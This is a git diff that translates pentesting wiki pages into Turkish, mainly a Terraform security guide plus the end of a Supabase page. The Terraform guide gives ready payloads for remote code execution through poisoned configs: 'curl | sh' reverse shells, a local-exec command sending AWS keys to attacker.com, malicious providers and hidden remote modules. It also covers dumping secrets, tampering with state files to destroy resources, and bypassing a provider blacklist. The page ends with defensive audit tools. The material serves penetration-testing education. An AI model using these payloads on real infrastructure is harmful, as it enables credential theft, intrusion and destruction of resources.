-It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
-It's recommended to **improve the requirements as the default ones are weak**.
+Minimum şifre uzunluğunu belirtmek mümkündür (varsayılan olarak), gereksinimleri (varsayılan olarak yok) ve sızdırılmış şifrelerin kullanılmasını engellemek mümkündür.\
+**Varsayılan gereksinimlerin zayıf olduğu için gereksinimleri geliştirmek** önerilir.
-- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
-- Bot and Abuse Protection: It's possible to enable Captcha.
+- Kullanıcı Oturumları: Kullanıcı oturumlarının nasıl çalıştığını yapılandırmak mümkündür (zaman aşımı, kullanıcı başına 1 oturum...)
+- Bot ve Kötüye Kullanım Koruması: Captcha etkinleştirmek mümkündür.
-### SMTP Settings
+### SMTP Ayarları
-It's possible to set an SMTP to send emails.
+E-postaları göndermek için bir SMTP ayarlamak mümkündür.
-### Advanced Settings
+### Gelişmiş Ayarlar
-- Set expire time to access tokens (3600 by default)
-- Set to detect and revoke potentially compromised refresh tokens and timeout
-- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
-- Max Direct Database Connections: Max number of connections used to auth (10 by default)
-- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
+- Erişim token'ları için sonlanma süresini ayarlayın (varsayılan 3600)
+- Potansiyel olarak tehlikeye atılmış yenileme token'larını tespit etmek ve iptal etmek için ayarlayın
+- MFA: Kullanıcı başına aynı anda kaç MFA faktörünün kaydedilebileceğini belirtin (varsayılan 10)
+- Maksimum Doğrudan Veritabanı Bağlantıları: Kimlik doğrulama için kullanılan maksimum bağlantı sayısı (varsayılan 10)
+- Maksimum İstek Süresi: Bir Kimlik doğrulama isteğinin süresinin ne kadar olabileceği (varsayılan 10s)
-## Storage
+## Depolama
> [!TIP]
-> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
+> Supabase, **dosyaları depolamaya** ve bunları bir URL üzerinden erişilebilir hale getirmeye izin verir (S3 bucket'ları kullanır).
-- Set the upload file size limit (default is 50MB)
-- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
-- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
+- Yükleme dosyası boyut sınırını ayarlayın (varsayılan 50MB)
+- S3 bağlantısı şu URL ile verilir: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
+- `access key ID` (örneğin, `a37d96544d82ba90057e0e06131d0a7b`) ve `secret access key` (örneğin, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) ile oluşan **S3 erişim anahtarı** talep etmek mümkündür.
-## Edge Functions
+## Edge Fonksiyonları
-It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
+Supabase'te **gizli anahtarları** depolamak da mümkündür ve bunlar **edge fonksiyonları tarafından erişilebilir** (web üzerinden oluşturulup silinebilir, ancak değerlerine doğrudan erişmek mümkün değildir).
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 09b875ff2..0610ffc13 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -1,316 +1,282 @@
-# Terraform Security
+# Terraform Güvenliği
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Temel Bilgiler
-[From the docs:](https://developer.hashicorp.com/terraform/intro)
+[Belgelerden:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
+HashiCorp Terraform, **kod olarak altyapı aracı**dır ve hem **bulut hem de yerel kaynakları** insan tarafından okunabilir yapılandırma dosyalarında tanımlamanıza olanak tanır; bu dosyaları sürümleyebilir, yeniden kullanabilir ve paylaşabilirsiniz. Daha sonra, tüm altyapınızı yaşam döngüsü boyunca sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, hesaplama, depolama ve ağ kaynakları gibi düşük seviyeli bileşenleri yönetebildiği gibi, DNS girişleri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir.
-#### How does Terraform work?
+#### Terraform nasıl çalışır?
-Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
+Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları uygulama programlama arayüzleri (API'ler) aracılığıyla oluşturur ve yönetir. Sağlayıcılar, Terraform'un erişilebilir bir API'ye sahip hemen hemen her platform veya hizmetle çalışmasını sağlar.
.png>)
-HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
+HashiCorp ve Terraform topluluğu, binlerce farklı türde kaynak ve hizmeti yönetmek için **1700'den fazla sağlayıcı** yazmıştır ve bu sayı artmaya devam etmektedir. Tüm kamuya açık sağlayıcıları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; bunlar arasında Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçokları bulunmaktadır.
-The core Terraform workflow consists of three stages:
+Temel Terraform iş akışı üç aşamadan oluşur:
-- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
-- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
-- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
+- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmet arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz.
+- **Planla:** Terraform, mevcut altyapı ve yapılandırmanıza dayanarak oluşturacağı, güncelleyeceği veya yok edeceği altyapıyı tanımlayan bir yürütme planı oluşturur.
+- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarını dikkate alarak önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncelleyip o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur.
.png>)
-### Terraform Lab
+### Terraform Laboratuvarı
-Just install terraform in your computer.
+Bilgisayarınıza terraform'u kurun.
-Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
+Burada bir [kılavuz](https://learn.hashicorp.com/tutorials/terraform/install-cli) ve burada terraform'u indirmenin [en iyi yolu](https://www.terraform.io/downloads) var.
-## RCE in Terraform
+## Terraform'da RCE
-Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
+Terraform'un **bir web sayfası veya bir ağ hizmeti sunan bir platformu yoktur**; bu nedenle, terraform'u tehlikeye atmanın tek yolu **terraform yapılandırma dosyalarını ekleyip/ değiştirebilmektir**.
-However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
+Ancak, terraform, düzgün çalışabilmesi için farklı konumlara **ayrılmış erişim** sağlayacağı için **çok hassas bir bileşendir**.
-The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
+Bir saldırganın terraform'un çalıştığı sistemi tehlikeye atabilmesinin ana yolu, **terraform yapılandırmalarını depolayan depoyu tehlikeye atmaktır**, çünkü bir noktada bunlar **yorumlanacaktır**.
-Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
+Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur; bunlardan biri **Atlantis**'dir:
{{#ref}}
atlantis-security.md
{{#endref}}
-If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
+Bir terraform dosyasını tehlikeye atabiliyorsanız, birisi `terraform plan` veya `terraform apply` komutunu çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır.
### Terraform plan
-Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
+Terraform plan, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, bir `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir.
-**Using an external provider**
+**Dış sağlayıcı kullanarak**
-Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
-
-Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
+Terraform, Terraform ile dış programlar arasında arayüz sağlamak için [`external` sağlayıcısını](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `plan` sırasında rastgele kod çalıştırmak için `external` veri kaynağını kullanabilirsiniz.
+Bir terraform yapılandırma dosyasına aşağıdakine benzer bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır:
```javascript
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
+**Özel bir sağlayıcı kullanma**
-**Using a custom provider**
-
-An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
-
+Bir saldırgan, [Terraform Registry](https://registry.terraform.io/) 'ye bir [özel sağlayıcı](https://learn.hashicorp.com/tutorials/terraform/provider-setup) gönderebilir ve ardından bunu bir özellik dalındaki Terraform koduna ekleyebilir ([buradan örnek](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
- terraform {
- required_providers {
- evil = {
- source = "evil/evil"
- version = "1.0"
- }
- }
- }
+terraform {
+required_providers {
+evil = {
+source = "evil/evil"
+version = "1.0"
+}
+}
+}
provider "evil" {}
```
+Sağlayıcı `init` sırasında indirilir ve `plan` çalıştırıldığında kötü niyetli kodu çalıştırır.
-The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
+Bir örneği [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) adresinde bulabilirsiniz.
-You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+**Dış bir referans kullanma**
-**Using an external reference**
-
-Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi daha gizli ama birincisinden daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
+- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell içeren **dış bir kaynağı** yükleyebilirsiniz:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- Dış kaynakta, **ref** özelliğini kullanarak **repo içindeki bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
-Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
-
+Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile enjekte ederek RCE elde etmek için de kötüye kullanılabilir.**\
+Sadece aşağıdaki gibi bazı yüklerin `main.tf` dosyasında sona erdiğinden emin olmalısınız:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
+Aşağıdaki **önceki teknikten gelen önerileri** takip ederek bu saldırıyı **dış referanslar kullanarak daha gizli bir şekilde** gerçekleştirin.
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
-
-## Secrets Dumps
-
-You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
+## Gizli Deşifreler
+Terraform dosyasına aşağıdaki gibi bir şey ekleyerek `terraform apply` çalıştırarak **terraform tarafından kullanılan gizli değerlerin dökümlerini** alabilirsiniz:
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
+## Terraform Durum Dosyalarını Kötüye Kullanma
-## Abusing Terraform State Files
+Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kodunu değiştiremiyorsanız, [**bu araştırma**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) dosyadan yararlanmak için bazı ilginç seçenekler sunmaktadır:
-In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
+### Kaynakları Silme
-### Deleting resources
+Kaynakları yok etmenin 2 yolu vardır:
-There are 2 ways to destroy resources:
-
-1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
-
-Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
+1. **Gerçek yok edilecek kaynağa işaret eden rastgele bir isimle durum dosyasına bir kaynak ekleyin**
+Terraform, kaynağın mevcut olmaması gerektiğini göreceği için, onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadan örnek:
```json
{
- "mode": "managed",
- "type": "aws_instance",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
- "instances": [
- {
- "attributes": {
- "id": "i-1234567890abcdefg"
- }
- }
- ]
+"mode": "managed",
+"type": "aws_instance",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
+"instances": [
+{
+"attributes": {
+"id": "i-1234567890abcdefg"
+}
+}
+]
},
```
+2. **Silinmesi gereken kaynağı, güncellenemeyecek şekilde değiştirin (bu nedenle silinip yeniden oluşturulacak)**
-2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
-
-For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
+Bir EC2 örneği için, örneğin türünü değiştirmek, terraform'un onu silip yeniden oluşturması için yeterlidir.
### RCE
-It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
-
+Ayrıca, [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) ve terraform durum dosyasındaki sağlayıcılardan birini kötü niyetli olanla değiştirmek veya kötü niyetli sağlayıcı ile boş bir kaynak eklemek de mümkündür. Orijinal araştırmadan örnek:
```json
"resources": [
{
- "mode": "managed",
- "type": "scaffolding_example",
- "name": "example",
- "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
- "instances": [
+"mode": "managed",
+"type": "scaffolding_example",
+"name": "example",
+"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
+"instances": [
- ]
+]
},
```
+### Kara listeye alınmış sağlayıcıyı değiştirme
-### Replace blacklisted provider
-
-In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
-
+`hashicorp/external` kara listeye alındığında bir durumla karşılaşırsanız, `external` sağlayıcısını aşağıdaki gibi yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan external sağlayıcısının bir fork'unu kullanıyoruz. Kendi fork'unuzu veya yeniden uygulamanızı da yayınlayabilirsiniz.
```terraform
terraform {
- required_providers {
- external = {
- source = "nazarewk/external"
- version = "3.0.0"
- }
- }
+required_providers {
+external = {
+source = "nazarewk/external"
+version = "3.0.0"
+}
+}
}
```
-
-Then you can use `external` as per normal.
-
+Sonra `external`'ı normal şekilde kullanabilirsiniz.
```terraform
data "external" "example" {
- program = ["sh", "-c", "whoami"]
+program = ["sh", "-c", "whoami"]
}
```
+## Otomatik Denetim Araçları
-## Automatic Audit Tools
+### [**Snyk Altyapı Kod Olarak (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
-### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
-
-Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
-
-- **Features:**
- - Real-time scanning for security vulnerabilities and compliance issues.
- - Integration with version control systems (GitHub, GitLab, Bitbucket).
- - Automated fix pull requests.
- - Detailed remediation advice.
-- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
+Snyk, Terraform, CloudFormation, Kubernetes ve diğer IaC formatlarındaki güvenlik açıklarını ve yanlış yapılandırmaları tespit eden kapsamlı bir Altyapı Kod Olarak (IaC) tarama çözümü sunar.
+- **Özellikler:**
+- Güvenlik açıkları ve uyumluluk sorunları için gerçek zamanlı tarama.
+- Versiyon kontrol sistemleriyle (GitHub, GitLab, Bitbucket) entegrasyon.
+- Otomatik düzeltme çekme istekleri.
+- Ayrıntılı düzeltme tavsiyeleri.
+- **Kaydolun:** [Snyk](https://snyk.io/) üzerinde bir hesap oluşturun.
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
-
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
+**Checkov**, kod olarak altyapı (IaC) için bir statik kod analiz aracıdır ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşimi analizi (SCA) aracıdır.
-It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
-
-It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
+[Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) kullanarak sağlanan bulut altyapısını tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder.
+Açık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Sızıntılar (CVE'ler) taraması olan [Yazılım Bileşimi Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir.
```bash
pip install checkov
checkov -d /path/to/folder
```
-
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
+From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için negatif test yeteneğini sağlamak amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir.
-- **compliance:** Ensure the implemented code is following security standards, your own custom standards
-- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
-- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
-- **pre-deploy:** it validates your code before it is deployed
-- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
-- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
+- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun.
+- **davranış odaklı geliştirme:** Neredeyse her şey için BDD'miz var, neden IaC için olmasın?
+- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın.
+- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular.
+- **entegrasyonu kolay:** Tüm dağıtımların doğrulandığından emin olmak için pipeline'ınızda (veya git hook'larında) çalıştırılabilir.
+- **görev ayrımı:** Testlerinizi ayrı bir ekibin sorumlu olduğu farklı bir depoda tutabilirsiniz.
> [!NOTE]
-> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
-
+> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bu sağlayıcılara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
-
### [tfsec](https://github.com/aquasecurity/tfsec)
-From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
-
-- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
-- ⛔ Hundreds of built-in rules
-- 🪆 Scans modules (local and remote)
-- ➕ Evaluates HCL expressions as well as literal values
-- ↪️ Evaluates Terraform functions e.g. `concat()`
-- 🔗 Evaluates relationships between Terraform resources
-- 🧰 Compatible with the Terraform CDK
-- 🙅 Applies (and embellishes) user-defined Rego policies
-- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
-- 🛠️ Configurable (via CLI flags and/or config file)
-- ⚡ Very fast, capable of quickly scanning huge repositories
+From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec, terraform kodunuzun statik analizini kullanarak potansiyel yanlış yapılandırmaları tespit eder.
+- ☁️ Tüm büyük (ve bazı küçük) bulut sağlayıcıları arasında yanlış yapılandırmaları kontrol eder
+- ⛔ Yüzlerce yerleşik kural
+- 🪆 Modülleri tarar (yerel ve uzaktan)
+- ➕ HCL ifadelerini ve literal değerleri değerlendirir
+- ↪️ Terraform fonksiyonlarını değerlendirir, örneğin `concat()`
+- 🔗 Terraform kaynakları arasındaki ilişkileri değerlendirir
+- 🧰 Terraform CDK ile uyumlu
+- 🙅 Kullanıcı tanımlı Rego politikalarını uygular (ve süsler)
+- 📃 Birden fazla çıktı formatını destekler: lovely (varsayılan), JSON, SARIF, CSV, CheckStyle, JUnit, metin, Gif.
+- 🛠️ Yapılandırılabilir (CLI bayrakları ve/veya yapılandırma dosyası aracılığıyla)
+- ⚡ Çok hızlı, büyük depoları hızlı bir şekilde tarama yeteneğine sahip
```bash
brew install tfsec
tfsec /path/to/folder
```
-
### [KICKS](https://github.com/Checkmarx/kics)
-Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
-
-**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
+Geliştirme döngüsünün erken aşamalarında **KICS** ile altyapı kodunuzda güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını bulun.
+**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için gereklidir.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
-
### [Terrascan](https://github.com/tenable/terrascan)
-From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
-
-- Seamlessly scan infrastructure as code for misconfigurations.
-- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
-- Detect security vulnerabilities and compliance violations.
-- Mitigate risks before provisioning cloud native infrastructure.
-- Offers flexibility to run locally or integrate with your CI\CD.
+From the [**docs**](https://github.com/tenable/terrascan): Terrascan, Kod Olarak Altyapı için statik bir kod analizörüdür. Terrascan, şunları yapmanıza olanak tanır:
+- Yanlış yapılandırmalar için altyapıyı kod olarak sorunsuz bir şekilde tarayın.
+- Sağlanan bulut altyapısını, duruş kayması oluşturan yapılandırma değişiklikleri için izleyin ve güvenli bir duruşa geri dönmeyi sağlayın.
+- Güvenlik açıklarını ve uyum ihlallerini tespit edin.
+- Bulut yerel altyapıyı sağlamadan önce riskleri azaltın.
+- Yerel olarak çalıştırma veya CI\CD'nizle entegre etme esnekliği sunar.
```bash
brew install terrascan
```
+## Referanslar
-## References
-
-- [Atlantis Security](atlantis-security.md)
+- [Atlantis Güvenliği](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index 63a3bb5c8..3ef09123d 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
